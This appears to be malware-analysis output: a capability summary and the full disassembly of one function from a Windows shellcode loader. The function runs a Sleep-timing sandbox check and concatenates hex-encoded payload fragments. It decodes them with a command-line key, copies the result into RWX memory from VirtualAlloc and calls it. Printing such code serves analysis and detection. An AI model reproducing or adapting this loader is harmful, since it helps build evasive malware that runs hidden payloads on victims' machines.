Function at 0x140001905
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rdi
sub rsp, 0x3e8
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x380], ecx
mov qword [rbp + 0x388], rdx
call fcn.140002160
call sub.msvcrt.dll_clock
mov dword [rbp + 0x35c], eax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
add eax, edx
mov dword [0x14001a010], eax
mov ecx, 0x1d8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sub.msvcrt.dll_clock
mov dword [rbp + 0x358], eax
mov eax, dword [0x14001a010]
add eax, eax
mov dword [0x14001a010], eax
mov ecx, 0x478
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x350], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
mov eax, dword [rbp + 0x358]
sub eax, dword [rbp + 0x35c]
cmp eax, 0x1d7
jle 0x140002081
mov eax, dword [rbp + 0x358]
sub eax, dword [rbp + 0x35c]
cmp eax, 0x23b
jg 0x140002081
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
add eax, edx
mov dword [0x14001a010], eax
lea rcx, str.dwpcJO
call fcn.140001583
lea rax, str.95590b64d63d80108805b11c875cfd20167657600
mov qword [rbp + 0x348], rax
mov dword [0x14001a010], 0
lea rax, str.4a0ccbba4bb7edd0d68e4acc1168fb293b61adac2a97
mov qword [rbp + 0x340], rax
mov eax, dword [0x14001a010]
add eax, eax
mov dword [0x14001a010], eax
lea rax, str.4cdbb5093152cea44d050fc5d7b19a48168b1
mov qword [rbp + 0x338], rax
mov eax, dword [0x14001a010]
mov edx, dword [0x14001a014]
sub eax, edx
mov dword [0x14001a014], eax
lea rax, str.c5cd4d8258900933562150350fab72d085c4c9f08e9fe29d7a5397d5b3b1c87e9f1b1e8e
mov qword [rbp + 0x330], rax
mov dword [0x14001a014], 0
lea rax, str.751a9b7b7fbd23c6db62b80e5e1de3c
mov qword [rbp + 0x328], rax
mov eax, dword [0x14001a010]
mov edx, dword [0x14001a014]
sub eax, edx
mov dword [0x14001a014], eax
lea rax, str.04824cd32cdbf46795ff96face4d573bea3cc193d04e6df23a13f651cbfda1e0a8c96853ef3e468a4c4c5e3748b3
mov qword [rbp + 0x320], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
lea rax, str.e9242dbc70a17cfa93b52a263cb70759c27605c6342bb
mov qword [rbp + 0x318], rax
mov eax, dword [0x14001a014]
add eax, eax
mov dword [0x14001a014], eax
lea rax, str.efccd9dd04a3ac24
mov qword [rbp + 0x310], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
lea rax, str.90c5e0f206b28f623962b0e0ec20b90609af2842e8e64299cb9a38f80136bc2e0ee36802f30e5c1455ac68a8af6182f46
mov qword [rbp + 0x308], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
lea rax, str.981fd77ae8aa725452143528c466b961a8bdc875353f1aa513d552fa02b953
mov qword [rbp + 0x300], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
lea rax, str.66a9009f827b9d38f66763c0ee6a16e71035ef3807bef80537a3dc0
mov qword [rbp + 0x2f8], rax
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
lea rax, str.adcddb8861e1e40f3427f4ca153a3c51c96b6c6860de355be7def8ad373c03bbd97
mov qword [rbp + 0x2f0], rax
mov eax, dword [0x14001a014]
add eax, eax
mov dword [0x14001a014], eax
lea rax, str.e1891bff078cc46fb58c81d0810f06dfbe4f5e2e0ea8356ba
mov qword [rbp + 0x2e8], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
add eax, edx
mov dword [0x14001a010], eax
lea rax, str.2f8abbf10f113e4e28d09a8ad2c6792c1f3a44c81a5941d4ed45247258c0f802d7
mov qword [rbp + 0x2e0], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
lea rax, str.5a1aec8aa0d7b477a4aa40e344302b82bc10a606dffffad2f1b1541ae23fc611be2aeedbc5ddfcdc0c465e9849b469a36
mov qword [rbp + 0x2d8], rax
mov dword [0x14001a010], 0
lea rax, str.47094c7a4736faa0bcd8a4a764496d592b94234664fc66c31dfb810ad2dabbec2e60ab64d2eb5
mov qword [rbp + 0x2d0], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
add eax, edx
mov dword [0x14001a010], eax
lea rax, str.81a9e5d49838e10efda2ffd0df5623b23fcb57faa7c091
mov qword [rbp + 0x2c8], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
lea rax, str.b42e7bc1ab436f9b0c7e30cca6e20f7f4ff
mov qword [rbp + 0x2c0], rax
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
lea rax, str.4e512b9f4eee4d62d4f838994d7ce6ee91760fcc4b2fbc66bbdf548caf81cd1868e34e27c0c64e4e38d109643ea5d3f17
mov qword [rbp + 0x2b8], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
lea rax, str.a24f44e11baeee4e6b
mov qword [rbp + 0x2b0], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
mov qword [rbp - 0x60], 0
mov qword [rbp - 0x58], 0
lea rdx, [rbp - 0x50]
mov eax, 0
mov ecx, 0x5d
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov word [rdx], ax
add rdx, 2
mov byte [rdx], al
add rdx, 1
mov rdx, qword [rbp + 0x348]
mov rax, qword [rbp + 0x350]
mov rcx, rax
call sub.msvcrt.dll_strcpy
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x340]
mov rax, qword [rbp + 0x350]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x338]
mov rax, qword [rbp + 0x350]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x14001a014], 0
mov rdx, qword [rbp + 0x330]
mov rax, qword [rbp + 0x350]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a010]
add eax, eax
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x328]
mov rax, qword [rbp + 0x350]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x320]
mov rax, qword [rbp + 0x350]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x14001a010], 0
mov rdx, qword [rbp + 0x318]
mov rax, qword [rbp + 0x350]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
add eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x310]
mov rax, qword [rbp + 0x350]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a010]
add eax, eax
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x308]
mov rax, qword [rbp + 0x350]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x300]
mov rax, qword [rbp + 0x350]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x2f8]
mov rax, qword [rbp + 0x350]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x2f0]
mov rax, qword [rbp + 0x350]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x14001a010], 0
mov rdx, qword [rbp + 0x2e8]
mov rax, qword [rbp + 0x350]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x2e0]
mov rax, qword [rbp + 0x350]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x2d8]
mov rax, qword [rbp + 0x350]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a010]
add eax, eax
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x2d0]
mov rax, qword [rbp + 0x350]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x2c8]
mov rax, qword [rbp + 0x350]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
add eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x2c0]
mov rax, qword [rbp + 0x350]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x2b8]
mov rax, qword [rbp + 0x350]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x2b0]
mov rax, qword [rbp + 0x350]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
mov rax, qword [rbp + 0x388]
add rax, 8
mov rdx, qword [rax]
mov rax, qword [rbp + 0x350]
mov rcx, rax
call fcn.1400015d4
mov qword [rbp + 0x2a8], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
add eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x2a8]
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1400018bc
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
add eax, edx
mov dword [0x14001a010], eax
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x2fb
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x2a0], rax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x2a0]
mov r8d, 0x2fb
mov rcx, rax
call sub.msvcrt.dll_memmove
mov rax, qword [rbp + 0x2a0]
call rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add edx, eax
mov eax, dword [0x14001a018]
add eax, edx
mov edx, eax
lea rcx, [0x14001b4d5]
call fcn.140001583
jmp 0x1400020a3
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
lea rcx, str.dwpcJO
call fcn.140001583
nop
add rsp, 0x3e8
pop rdi
pop rbp
ret